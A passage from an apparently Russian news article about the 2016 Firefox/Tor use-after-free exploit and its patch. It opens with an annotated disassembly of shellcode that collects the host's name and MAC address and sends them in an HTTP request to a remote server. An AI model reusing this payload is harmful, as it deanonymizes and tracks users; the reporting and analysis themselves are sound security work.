eax,eax 00000141 0F85F2000000 jnz near 0x239 00000147 57 push edi 00000148 E8F9000000 call 0x246 # strlen of gethostname 0000014D 5E pop esi 0000014E 89CA mov edx,ecx 00000150 8DBDE9020000 lea edi,[ebp+0x2e9] 00000156 E8EB000000 call 0x246 # strlen (to move EDI to the NULL byte at the end of the HTTP string) 0000015B 4F dec edi 0000015C 83FA20 cmp edx,byte +0x20 0000015F 7C05 jl 0x166 00000161 BA20000000 mov edx,0x20 00000166 89D1 mov ecx,edx 00000168 56 push esi 00000169 F3A4 rep movsb 0000016B B90D000000 mov ecx,0xd 00000170 8DB5C4020000 lea esi,[ebp+0x2c4] "\r\nCookie: ID=" 00000176 F3A4 rep movsb 00000178 89BD4B020000 mov [ebp+0x24b],edi 0000017E 5E pop esi 0000017F 56 push esi 00000180 68A9283480 push dword 0x803428a9 # gethostbyname 00000185 FFD5 call ebp 00000187 85C0 test eax,eax 00000189 0F84AA000000 jz near 0x239 0000018F 668B480A mov cx,[eax+0xa] 00000193 6683F904 cmp cx,byte +0x4 00000197 0F829C000000 jc near 0x239 0000019D 8D400C lea eax,[eax+0xc] 000001A0 8B00 mov eax,[eax] 000001A2 8B08 mov ecx,[eax] 000001A4 8B09 mov ecx,[ecx] 000001A6 B800010000 mov eax,0x100 000001AB 50 push eax 000001AC 89E7 mov edi,esp 000001AE 29C4 sub esp,eax 000001B0 89E6 mov esi,esp 000001B2 57 push edi 000001B3 56 push esi 000001B4 51 push ecx 000001B5 51 push ecx 000001B6 684872D2B8 push dword 0xb8d27248 # iphlpapi.dll!SendARP 000001BB FFD5 call ebp 000001BD 85C0 test eax,eax 000001BF 81C404010000 add esp,0x104 000001C5 0FB70F movzx ecx,word [edi] 000001C8 83F906 cmp ecx,byte +0x6 000001CB 726C jc 0x239 000001CD B906000000 mov ecx,0x6 000001D2 B810000000 mov eax,0x10 000001D7 29C4 sub esp,eax 000001D9 89E7 mov edi,esp 000001DB 89CA mov edx,ecx 000001DD D1E2 shl edx,1 000001DF 50 push eax 000001E0 52 push edx 000001E1 31D2 xor edx,edx 000001E3 8A16 mov dl,[esi] 000001E5 88D0 mov al,dl 000001E7 24F0 and al,0xf0 # It actually turns the raw data into hex strings before appending it to the HTTP header 000001E9 C0E804 shr al,0x4 000001EC 3C09 cmp al,0x9 000001EE 7704 ja 0x1f4 000001F0 0430 add al,0x30 000001F2 EB02 jmp short 0x1f6 000001F4 0437 add al,0x37 000001F6 8807 mov [edi],al 000001F8 47 inc edi 000001F9 88D0 mov al,dl 000001FB 240F and al,0xf 000001FD 3C09 cmp al,0x9 000001FF 7704 ja 0x205 00000201 0430 add al,0x30 00000203 EB02 jmp short 0x207 00000205 0437 add al,0x37 00000207 8807 mov [edi],al 00000209 47 inc edi 0000020A 46 inc esi 0000020B E2D4 loop 0x1e1 0000020D 59 pop ecx 0000020E 29CF sub edi,ecx 00000210 89FE mov esi,edi 00000212 58 pop eax 00000213 01C4 add esp,eax 00000215 8BBD4B020000 mov edi,[ebp+0x24b] 0000021B F3A4 rep movsb 0000021D C6854F02000001 mov byte [ebp+0x24f],0x1 00000224 E82E000000 call 0x257 # Append "Connection: keep-alive\r\nAccept: */*\r\nAccept-Encoding: gzip\r\n\r\n" and return the new strlen(ebp + 0x2e9) 00000229 31C0 xor eax,eax 0000022B 50 push eax 0000022C 51 push ecx 0000022D 29CF sub edi,ecx 0000022F 4F dec edi 00000230 57 push edi 00000231 53 push ebx 00000232 68C2EB385F push dword 0x5f38ebc2 # send 00000237 FFD5 call ebp 00000239 53 push ebx 0000023A 68756E4D61 push dword 0x614d6e75 # closesocket 0000023F FFD5 call ebp 00000241 E9C8FEFFFF jmp 0x10e 00000246 31C9 xor ecx,ecx 00000248 F7D1 not ecx 0000024A 31C0 xor eax,eax 0000024C F2AE repne scasb 0000024E F7D1 not ecx 00000250 49 dec ecx 00000251 C3 ret 00000252 0000 add [eax],al 00000254 0000 add [eax],al 00000256 skipping 0x1 bytes 00000257 8DBDE9020000 lea edi,[ebp+0x2e9] 0000025D E8E4FFFFFF call 0x246 00000262 4F dec edi 00000263 B94F000000 mov ecx,0x4f 00000268 8DB575020000 lea esi,[ebp+0x275] 0000026E F3A4 rep movsb 00000270 8DBDE9020000 lea edi,[ebp+0x2e9] 00000276 E8CBFFFFFF call 0x246 0000027B C3 ret 0000027C 0D0A436F6E or eax,0x6e6f430a 00000281 6E outsb 00000282 656374696F arpl [gs:ecx+ebp*2+0x6f],si 00000287 6E outsb 00000288 3A20 cmp ah,[eax] 0000028A 6B656570 imul esp,[ebp+0x65],byte +0x70 0000028E 2D616C6976 sub eax,0x76696c61 00000293 650D0A416363 gs or eax,0x6363410a 00000299 657074 gs jo 0x310 0000029C 3A20 cmp ah,[eax] 0000029E 2A2F sub ch,[edi] 000002A0 2A0D0A416363 sub cl,[0x6363410a] 000002A6 657074 gs jo 0x31d 000002A9 2D456E636F sub eax,0x6f636e45 000002AE 64696E673A20677A imul ebp,[fs:esi+0x67],dword 0x7a67203a 000002B6 69700D0A0D0A00 imul esi,[eax+0xd],dword 0xa0d0a 000002BD 83C70E add edi,byte +0xe 000002C0 31C9 xor ecx,ecx 000002C2 F7D1 not ecx 000002C4 31C0 xor eax,eax 000002C6 F3AE repe scasb 000002C8 4F dec edi 000002C9 FFE7 jmp edi 000002CB 0D0A436F6F or eax,0x6f6f430a 000002D0 6B69653A imul ebp,[ecx+0x65],byte +0x3a 000002D4 204944 and [ecx+0x44],cl 000002D7 3D7773325F cmp eax,0x5f327377 000002DC 3332 xor esi,[edx] 000002DE 004950 add [ecx+0x50],cl 000002E1 48 dec eax 000002E2 4C dec esp 000002E3 50 push eax 000002E4 41 inc ecx 000002E5 50 push eax 000002E6 49 dec ecx 000002E7 0002 add [edx],al 000002E9 0000 add [eax],al 000002EB 50 push eax 000002EC 41 inc ecx 000002ED DECA fmulp st2 000002EF 3647 ss inc edi 000002F1 45 inc ebp 000002F2 54 push esp 000002F3 202F and [edi],ch 000002F5 303563656134 xor [0x34616563],dh 000002FB 64652D39353164 gs sub eax,0x64313539 00000302 2D34303337 sub eax,0x37333034 00000307 2D62663866 sub eax,0x66386662 0000030C 2D66363930 sub eax,0x30393666 00000311 3535623237 xor eax,0x37326235 00000316 396262 cmp [edx+0x62],esp 00000319 204854 and [eax+0x54],cl 0000031C 54 push esp 0000031D 50 push eax 0000031E 2F das 0000031F 312E xor [esi],ebp 00000321 310D0A486F73 xor [0x736f480a],ecx 00000327 743A jz 0x363 00000329 2000 and [eax],al 0000032B 0000 add [eax],al 0000032D 0000 add [eax],al 0000032F 0000 add [eax],al 00000331 0000 add [eax],al 00000333 0000 add [eax],al 00000335 0000 add [eax],al 00000337 0000 add [eax],al 00000339 0000 add [eax],al 0000033B 0000 add [eax],al 0000033D 0000 add [eax],al 0000033F 0000 add [eax],al 00000341 0000 add [eax],al 00000343 0000 add [eax],al 00000345 0000 add [eax],al 00000347 0000 add [eax],al 00000349 0000 add [eax],al 0000034B 0000 add [eax],al 0000034D 0000 add [eax],al 0000034F 0000 add [eax],al 00000351 0000 add [eax],al 00000353 0000 add [eax],al 00000355 0000 add [eax],al 00000357 0000 add [eax],al 00000359 0000 add [eax],al 0000035B 0000 add [eax],al 0000035D 0000 add [eax],al 0000035F 0000 add [eax],al 00000361 0000 add [eax],al 00000363 0000 add [eax],al 00000365 0000 add [eax],al 00000367 0000 add [eax],al 00000369 0000 add [eax],al 0000036B 0000 add [eax],al 0000036D 0000 add [eax],al 0000036F 0000 add [eax],al 00000371 0000 add [eax],al 00000373 0000 add [eax],al 00000375 0000 add [eax],al 00000377 0000 add [eax],al 00000379 0000 add [eax],al 0000037B 0000 add [eax],al 0000037D 0000 add [eax],al 0000037F 0000 add [eax],al 00000381 0000 add [eax],al 00000383 0000 add [eax],al 00000385 0000 add [eax],al 00000387 0000 add [eax],al 00000389 0000 add [eax],al 0000038B 0000 add [eax],al 0000038D 0000 add [eax],al 0000038F 0000 add [eax],al 00000391 0000 add [eax],al 00000393 0000 add [eax],al 00000395 0000 add [eax],al 00000397 0000 add [eax],al 00000399 0000 add [eax],al 0000039B 0000 add [eax],al 0000039D 0000 add [eax],al 0000039F 0000 add [eax],al 000003A1 0000 add [eax],al 000003A3 0000 add [eax],al 000003A5 0000 add [eax],al 000003A7 0000 add [eax],al 000003A9 0000 add [eax],al 000003AB 0000 add [eax],al 000003AD 0000 add [eax],al 000003AF 0000 add [eax],al 000003B1 0000 add [eax],al 000003B3 0000 add [eax],al 000003B5 0000 add [eax],al 000003B7 0000 add [eax],al 000003B9 0000 add [eax],al 000003BB 90 nop
Сотрудник отдела безопасности Mozilla Дэниель Ведиц говорит, что схожесть кода эксплойтов 2013 и 2016 года вызвала слухи, что в работу по деанонимизации пользователей Tor опять включились правоохранительные органы и спецслужбы. Но в данное время это не известно наверняка. Тем не менее, если этот эксплойт опять разработали спецслужбы, а теперь он лежит в открытом доступе и дсотупен для использования всеми желающими, то это ещё раз демонстрирует, что действия правительства по сокрытию уязвимостей для использования в своих нуждах — это угроза безопасности всем пользователям интернета.
Новая версия Firefox с патчем имеет номер версии 50.0.2 (пропатчены также Firefox ESR 45.5.1 и Thunderbird 45.5.1). В сопроводительной информации указан номер закрытой уязвимости CVE-2016-9079 («критическая»). Отдельно выпущена рекомендация по безопасности от Mozilla. Там сказано, что эксплойт действует также в почтовом клиенте Thunderbird и в версии браузера с долговременной поддержкой Firefox ESR. Эксплойт использует уязвимость использования памяти после освобождения процессом SVG Animation, со ссылкой на баг 1321066 (Iterator invalidation in nsSMILTimeContainer::NotifyTimeChange()). Там же опубликован пример эксплойта (zip-архив), лог из браузера Firefox 50.0.1 после выполнения эксплойта, лог из Firefox Nightly и видеоролик краша Firefox.
В ветке обсуждения бага в баг-трекере Mozilla высказали оценку, что данный код в браузере оставался без изменений примерно пять лет. Соответственно, браузеры Firefox и Tor были уязвимы для такого типа атаки примерно столько же времени. И можно сделать вывод, что уязвимость присутствует во всех форках, модификациях, ветках Firefox и альтернативных браузерах, сделанных на основе кода Firefox.
Кроме обновления браузера, вчера Tor выпустила и обновление расширения NoScript для Firefox (NoScript 2.9.5.2).
ссылка на оригинал статьи https://habrahabr.ru/post/316608/
Добавить комментарий